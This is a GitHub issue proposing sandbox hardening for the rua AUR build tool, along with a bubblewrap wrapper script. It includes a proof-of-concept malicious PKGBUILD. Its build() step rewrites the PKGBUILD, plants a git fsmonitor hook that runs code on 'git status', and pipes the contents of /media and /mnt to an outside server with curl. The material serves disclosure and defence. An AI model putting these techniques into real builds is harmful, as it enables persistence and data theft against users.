vn971 / rua

Build tool for Arch Linux providing control, review and jailed build options
GNU General Public License v3.0
421 stars 38 forks source link

Sandboxing hardening suggestions (`/mnt`, `/media`, PKGBUILD directory) #206

Open joanbm opened 1 year ago

joanbm commented 1 year ago

Description

I was taking a look into how RUA build sandbox works, and I noticed the following:

  1. The directory containing the PKGBUILD is mounted as bound as a writeable directory..

    This opens the door to the build process modifying things inside the PKGBUILD directory to set up a "hook" that hopefully the user accidentally runs later outside the RUA sandbox.

    For example, the build process could modify the PKGBUILD so that running makepkg --printsrcinfo after the build runs code outside the sandbox.

    Or it could be more sneaky and inject itself to Git's fsmonitor so that the code is executed when running git status (and no changed source files are reported).

    Technically speaking, this doesn't break the RUA sandbox itself, but I think most users expect that e.g. running rua builddir then git status can't result in unsandboxed code execution.

  2. The entire root directory is bind-mounted, including paths such as /media and /mnt.

    This means that if the user running the build has access to some personal/sensitive data inside those directories (which probably isn't ideal, but also not entirely unexpected), and the build is not done offline (which may not be practical in some cases), this data can be ex-filtrated to some external server during the build.

In both cases, the code could be hidden deep in the build, e.g. inside some downloaded NPM/Go/Rust/etc. package, so examining the PKGBUILD and related files doesn't reveal anything wrong.

Impact

Likely pretty low in practice since packages are often going to be immediately installed in the same machine and run unsandboxed, but it could increase risk for things like build/CI machines or software that itself runs inside a sandbox.

Possible fixes

  1. Mount the PKGBUILD directory read-only, and create a writeable directory for PKGDEST/SRCDEST/SRCPKGDEST/LOGDEST/BUILDDIR instead.

  2. Be more selective, don't mount all of / but only presumed-safe directories like /usr, /opt, /etc, etc.

Sample

# Maintainer: John Smith <john.smith@example.com>

pkgname=evil-package
pkgver=1.0.0
pkgrel=1
pkgdesc="An evil package that tries to trick the user into running code outside RUA's sandbox"
arch=('x86_64')
url="https://www.example.com"
license=('MIT')
makedepends=('git')
source=()
md5sums=()

build() {
  # [Imagine this is buried deep within the build process]

  # Try to self-modify the PKGBUILD so that if the user runs some "safe"
  # command like `makepkg --printsrcinfo` outside the sandbox, he gets pwned
  [ -f ../PKGBUILD ] && echo 'echo "Starting bitcoin miner...">&2 ' >> ../PKGBUILD

  # Try to hook ourselves to Git's fsmonitor so the next time the user runs
  # something like `git status` he gets pwned
  # See https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md
  [ -f ../.git/config ] && echo $'\tfsmonitor = "echo \\"Starting bitcoin miner...\\">&2; false"' >> ../.git/config

  # Try to exfiltrate data from places containing user files like /media and /mnt
  ls /media /mnt | curl -XPOST -H "Content-type: text/plain" https://httpbin.org/post -d @-
}

package() {
    true
}
joanbm commented 1 year ago

Grrr, for (1), I tried making the directory containing the PKGBUILD read-only, but it broke a few things:

A good option would be to mount a writable overlay over the directory containing the PKGBUILD, but unfortunately this is not yet available in bubblewrap (link, link).

joanbm commented 1 year ago

FWIW I ended up with the following standalone script ("makepkg replacement") for my builds. It have successfully tested it with ~30 packages. It depends on the not-yet-merged PR for bubblewrap mounts I linked above.

#!/usr/bin/env sh
set -eu

# A makepkg wrapper which runs the build process inside a sandbox
# The goals of this wrapper are:
# 1- Improve security by sandboxing the build process
# 2- Cleaner and more predictable builds but without needing a chroot
# 3- Avoiding dirty builds leaving files on home dirs, etc. to be cleaned up

# A major inspiration is RUA's bwrap sandbox:
# https://github.com/vn971/rua/blob/c7bded62535105f9214290900a7267d7339d2f45/res/wrapper/security-wrapper.sh
# Compared to RUA's sandbox:
# - For simplifity we don't use seccomp rules
#   (I don't think they are *theoretically* required to get unescapable sandboxing)
# - We explicitly list directories on the root to avoid mounting /media, /mnt, etc.
# - We don't mount the directory containing the PKGBUILD as a (persistent) overlayfs to make
#   social engineering attacks like "self-modifying" PKGBUILDs, Git hooks, etc. more difficult

# Set makepkg destination directories to directories inside a sandbox which we will bind-mount
# We do this (instead of just the overlay below) so that built packages can be easily read from outside the sandbox
[ -z "${PKGDEST+x}" ]    && mkdir -p sandbox/pkg    && PKGDEST="$PWD/sandbox/pkg"
[ -z "${SRCDEST+x}" ]    && mkdir -p sandbox/src    && SRCDEST="$PWD/sandbox/src"
[ -z "${SRCPKGDEST+x}" ] && mkdir -p sandbox/srcpkg && SRCPKGDEST="$PWD/sandbox/srcpkg"
[ -z "${LOGDEST+x}" ]    && mkdir -p sandbox/log    && LOGDEST="$PWD/sandbox/log"
[ -z "${BUILDDIR+x}" ]   && mkdir -p sandbox/build  && BUILDDIR="$PWD/sandbox/build"

# Even with the previous setup, we still need a writable overlayFS for the root directory, as makepkg
# needs it sometimes (e.g. to update pkgver for Git packages, to update pre-downloaded source repositories, etc.)
mkdir -p sandbox/ovfs_rw sandbox/ovfs_work

# Clean up empty sandbox directories on exit (so commands like --printsrcinfo don't leave a mess behind)
trap 'trap - INT TERM EXIT; [ -z "$(unshare -Ur find sandbox -not -type d | head -n 1)" ] && rm -rf sandbox' INT TERM EXIT

RESOLV_CONF="$(realpath /etc/resolv.conf)"
bwrap \
    --die-with-parent \
    --new-session \
    --unshare-all \
    --share-net \
    `# Common rootfs mounts` \
    --ro-bind /usr /usr \
    --ro-bind /opt /opt \
    --ro-bind /etc /etc \
    --ro-bind /boot /boot \
    --ro-bind /var /var \
    --perms 000 --dir /root \
    --dir /mnt \
    --dir /media \
    --dir /srv \
    --symlink usr/bin /bin \
    --symlink usr/bin /sbin \
    --symlink usr/lib /lib \
    --symlink usr/lib /lib64 \
    --dev /dev \
    --proc /proc \
    --ro-bind /sys /sys \
    --tmpfs /tmp \
    --tmpfs /run \
    --tmpfs /var/run \
    --tmpfs /var/tmp \
    --perms 0700 --tmpfs "$XDG_RUNTIME_DIR" \
    --tmpfs "$HOME" \
    `# Deal with systemd-resolved symlinked /etc/resolv.conf` \
    --ro-bind "$RESOLV_CONF" "$RESOLV_CONF" \
    `# Bind GnuPG keyring to check PKGBUILD validpgpkeys` \
    --ro-bind-try "${GNUPGHOME:-$HOME/.gnupg}/pubring.kbx" "${GNUPGHOME:-$HOME/.gnupg}/pubring.kbx" \
    --ro-bind-try "${GNUPGHOME:-$HOME/.gnupg}/pubring.gpg" "${GNUPGHOME:-$HOME/.gnupg}/pubring.gpg" \
    `# CUSTOMPKGDIR can be optionally used to mount a common script / library` \
    --ro-bind-try "${CUSTOMPKGDIR:-/does/not/exist}" "${CUSTOMPKGDIR:-/does/not/exist}" \
    `# Clean up most environment variables, otherwise some tests may try to e.g. start GUI applications and fail` \
    `# Should also help with making builds more predictable` \
    --clearenv \
    --setenv XDG_RUNTIME_DIR "$XDG_RUNTIME_DIR" \
    --setenv PATH "$PATH" \
    --setenv USER "$USER" \
    --setenv LOGNAME "$LOGNAME" \
    --setenv TERM "$TERM" \
    --setenv HOME "$HOME" \
    --setenv GNUPGHOME "${GNUPGHOME:-$HOME/.gnupg}" \
    --setenv LANG "$LANG" \
    `# Setup sandboxed build environment` \
    --overlay-src "$PWD" --overlay "$PWD"/sandbox/ovfs_rw "$PWD"/sandbox/ovfs_work "$PWD" \
    --bind "$PKGDEST" "$PKGDEST"       --setenv PKGDEST "$PKGDEST" \
    --bind "$SRCDEST" "$SRCDEST"       --setenv SRCDEST "$SRCDEST" \
    --bind "$SRCPKGDEST" "$SRCPKGDEST" --setenv SRCPKGDEST "$SRCPKGDEST" \
    --bind "$LOGDEST" "$LOGDEST"       --setenv LOGDEST "$LOGDEST" \
    --bind "$BUILDDIR" "$BUILDDIR"     --setenv BUILDDIR "$BUILDDIR" \
    `# FAKEROOTDONTTRYCHOWN is needed to build some packages like linux-mainline due to an interaction` \
    `# between bubblewrap and chroot, see: https://github.com/containers/bubblewrap/issues/395` \
    `# More detailed explanation: https://patchwork.ozlabs.org/project/buildroot/patch/20190403201325.31664-1-peter@korsgaard.com/` \
    `# RUA builddir also does it: https://github.com/vn971/rua/commit/a7a1e2ed2da1b2fdb7ea33666f08faa8422dd681` \
    --setenv FAKEROOTDONTTRYCHOWN 1 \
    "${ZEALCHARM_MAKEPKG_ENTRYPOINT:-makepkg}" "$@"

If I can find some time I'll make a PR for something along this line.